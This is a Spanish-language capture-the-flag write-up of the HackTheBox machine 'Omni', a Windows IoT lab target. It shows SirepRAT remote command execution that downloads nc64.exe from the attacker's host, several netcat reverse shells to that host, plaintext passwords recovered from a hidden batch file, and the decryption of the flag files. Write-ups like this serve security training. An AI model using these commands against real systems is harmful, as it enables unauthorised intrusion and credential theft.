Omni es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Other.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Omni 10.10.10.204 a /etc/hosts como omni.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
# Nmap 7.70 scan initiated Sat Dec 5 16:29:12 2020 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.204 Nmap scan report for 10.10.10.204 Host is up (0.054s latency). Not shown: 65529 filtered ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 5985/tcp open upnp Microsoft IIS httpd 8080/tcp open upnp Microsoft IIS httpd | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=Windows Device Portal |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Site doesn't have a title. 29817/tcp open unknown 29819/tcp open arcserve ARCserve Discovery 29820/tcp open unknown 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port29820-TCP:V=7.70%I=7%D=12/5%Time=5FCBA7CB%P=x86_64-pc-linux-gnu%r(N SF:ULL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLines,10," SF:\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\xfb`\x0 SF:4G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\x SF:c9}\xc8O\x12"); Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Dec 5 16:32:31 2020 -- 1 IP address (1 host up) scanned in 199.22 seconds |
Encontramos en este caso un portal web con IIS en el puerto 8080, así que comenzaremos la enumeración con dicho portal web.
Enumeracion
Accedemos al portal web en el puerto 8080 aunque no podemos hacer mucho al respecto debido a que nos solicita una contraseña:
En el escaneo con nmap vemos referencias a Windows por el IIS y a linux por lo que podría tratarse de un dispositivo IOT. Para verificarlo utilizaremos la herramienta SirepRAT, la cual dispone de una funcionalidad para la ejecución de código arbitrario.
Descargaremos también el fichero exe de nc de 64 bits para ejecutarlo en la máquina y conseguir acceso a la misma, así que una vez descargado todo, levantamos un servidor en python en local y procedemos a lanzar SirepRAT:
1 2 3 |
$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell Invoke-Webrequest -OutFile C:\Windows\System32\spool\drivers\color\nc64.exe -Uri http://10.10.14.13:5555/nc64.exe" --v <HResultResult | type: 1, payload length: 4, HResult: 0x0> <ErrorStreamResult | type: 12, payload length: 4, payload peek: ''> |
Ahora que hemos conseguido subir el fichero nc64.exe procederemos a ejecutar el mismo para obtener una shell:
1 2 |
$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe 10.10.14.13 4444 -e powershell.exe" --v <HResultResult | type: 1, payload length: 4, HResult: 0x0> |
Y conseguimos acceso en nuestra escucha:
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -lvp 4444 listening on [any] 4444 ... 10.10.10.204: inverse host lookup failed: Unknown host connect to [10.10.14.13] from (UNKNOWN) [10.10.10.204] 49673 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\windows\system32> $env:username $env:username omni$ PS C:\windows\system32> |
Ahora que ya tenemos acceso, revisamos la máquina y encontramos un fichero interesante en la ruta:
1 |
c:\Program Files\WindowsPowershell\Modules\PackageManagement |
Donde observamos el fichero r.bat:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
PS C:\Program Files\WindowsPowershell\Modules\PackageManagement> dir -force dir -force Directory: C:\Program Files\WindowsPowershell\Modules\PackageManagement Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 10/26/2018 11:37 PM 1.0.0.1 -a-h-- 8/21/2020 12:56 PM 247 r.bat PS C:\Program Files\WindowsPowershell\Modules\PackageManagement> |
En el cual encontramos las password de dos usuarios:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
@echo off :LOOP for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete net user app mesh5143 net user administrator _1nt3rn37ofTh1nGz ping -n 3 127.0.0.1 cls GOTO :LOOP :EXIT |
Así que con las claves obtenidas nos iremos al portal web visto anteriormente en el puerto 8080 y nos loguearemos en primer lugar con el usuario app:
Aprovecharemos que ya tenemos subido a la máquina el fichero nc64.exe para lanzar una shell inversa y lo ejecutaremos desde el portal.
Nos iremos a la sección “Processes -> Run Command” donde veremos la siguiente ventana:
Y lanzaremos la shell inversa con el siguiente comando:
1 |
C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe 10.10.14.13 4444 -e powershell.exe |
Consiguiendo con ello una shell con el usuario app:
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -lvp 4444 listening on [any] 4444 ... 10.10.10.204: inverse host lookup failed: Unknown host connect to [10.10.14.13] from (UNKNOWN) [10.10.10.204] 49674 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\windows\system32> $env:username $env:username app PS C:\windows\system32> |
No encontramos la carpeta del usuario en la ruta C:\Users por defecto así que revisamos los discos existentes en el sistema:
1 2 3 4 5 6 |
PS C:\windows\system32> wmic logicaldisk get caption wmic logicaldisk get caption Caption = C: Caption = D: Caption = U: PS C:\windows\system32> |
Y encontramos la flag en el disco U:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
PS C:\windows\system32> dir U:\Users\app dir U:\Users\app Directory: U:\Users\app Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 7/4/2020 7:28 PM 3D Objects d-r--- 7/4/2020 7:28 PM Documents d-r--- 7/4/2020 7:28 PM Downloads d----- 7/4/2020 7:28 PM Favorites d-r--- 7/4/2020 7:28 PM Music d-r--- 7/4/2020 7:28 PM Pictures d-r--- 7/4/2020 7:28 PM Videos -ar--- 7/4/2020 8:20 PM 344 hardening.txt -ar--- 7/4/2020 8:14 PM 1858 iot-admin.xml -ar--- 7/4/2020 9:53 PM 1958 user.txt PS C:\windows\system32> |
Aunque tenemos un problema ahora y es que el fichero esta cifrado, por lo que necesitaremos descifrar el mismo para poder obtener la flag en plano.
Utilizaremos para ello los siguientes comandos:
1 2 |
$credential = Import-CliXml -Path U:\Users\app\user.txt $credential.GetNetworkCredential().Password |
Obteniendo la flag de user
Ahora que sabemos como descifrar el fichero de la flag de user, lanzamos los comandos anteriores para conseguir la misma:
1 2 3 4 5 6 |
PS C:\windows\system32> $credential = Import-CliXml -Path U:\Users\app\user.txt $credential = Import-CliXml -Path U:\Users\app\user.txt PS C:\windows\system32> $credential.GetNetworkCredential().Password $credential.GetNetworkCredential().Password 7xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0 PS C:\windows\system32> |
Y ahora nos tocará ir a por la flag de root.
Escalado de privilegios
Completado el primer paso, procederemos ahora a realizar los mismos pasos con las credenciales del usuario administrator, así que accedemos al portal con dichas credenciales y lanzamos el siguiente comando desde la opción Run Command que vimos anteriormente:
1 |
C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe 10.10.14.13 4444 -e powershell.exe |
Y conseguimos una shell con el usuario administrator
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -lvp 4444 listening on [any] 4444 ... 10.10.10.204: inverse host lookup failed: Unknown host connect to [10.10.14.13] from (UNKNOWN) [10.10.10.204] 49675 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\windows\system32> $env:username $env:username Administrator PS C:\windows\system32> |
Revisamos el disco U: y al igual que la vez anterior encontramos en el mismo la flag de root:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
PS C:\windows\system32> dir u:\users\administrator dir u:\users\administrator Directory: U:\users\administrator Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 7/3/2020 11:23 PM 3D Objects d-r--- 7/3/2020 11:23 PM Documents d-r--- 7/3/2020 11:23 PM Downloads d----- 7/3/2020 11:23 PM Favorites d-r--- 7/3/2020 11:23 PM Music d-r--- 7/3/2020 11:23 PM Pictures d-r--- 7/3/2020 11:23 PM Videos -ar--- 7/4/2020 9:48 PM 1958 root.txt PS C:\windows\system32> |
Y también está cifrada por lo que necesitaremos ejecutar los comandos vistos anteriormente para conseguir la flag en plano.
Obteniendo la flag de root
Ejecutamos los comandos para descifrar el fichero y conseguimos la flag de root:
1 2 3 4 5 6 |
PS C:\windows\system32> $credential = Import-CliXml -Path U:\Users\administrator\root.txt $credential = Import-CliXml -Path U:\Users\administrator\root.txt PS C:\windows\system32> $credential.GetNetworkCredential().Password $credential.GetNetworkCredential().Password 5xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd PS C:\windows\system32> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace